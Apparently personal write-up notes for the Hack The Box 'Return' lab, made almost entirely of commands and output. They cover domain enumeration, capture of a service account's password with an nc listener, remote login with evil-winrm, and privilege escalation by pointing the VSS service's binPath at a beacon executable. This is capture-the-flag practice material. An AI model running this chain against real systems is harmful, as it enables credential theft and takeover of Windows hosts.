HTB Return

$ nmap -sV -vv -T4 -n -Pn --max-rtt-timeout 1500ms --min-rate 1000 --max-retries 3 --open $IP -oG full_port_scan -p-

$ enum4linux-ng $IP

===========================================================

| Domain Information via SMB session for 10.129.74.42 |

===========================================================

[*] Enumerating via unauthenticated SMB session on 445/tcp

[+] Found domain information via SMB

NetBIOS computer name: PRINTER

NetBIOS domain name: RETURN

DNS domain: return.local

FQDN: printer.return.local

Derived membership: domain member

Derived domain: RETURN

===================================================

| Domain Information via RPC for 10.129.74.42 |

===================================================

[+] Domain: RETURN

[+] Domain SID: S-1-5-21-3750359090-2939318659-876128439

[+] Membership: domain member

$ ldapsearch -x -H ldap://$IP -s base -b "" namingContexts
 
namingContexts: DC=return,DC=local
namingContexts: CN=Configuration,DC=return,DC=local
namingContexts: CN=Schema,CN=Configuration,DC=return,DC=local
namingContexts: DC=DomainDnsZones,DC=return,DC=local
namingContexts: DC=ForestDnsZones,DC=return,DC=local

$ sudo nc -nvlp 389

svc-printer:1edFg43012!!

$ netexec smb $IP -u svc-printer -p '1edFg43012!!'

$ evil-winrm -i $IP -u svc-printer -p '1edFg43012!!'

Then i got my beacon shell:

$ shell sc.exe config vss binPath= "C:\Users\svc-printer\Documents\myagent.exe"
$ shell sc.exe stop vss
$ shell sc.exe start vss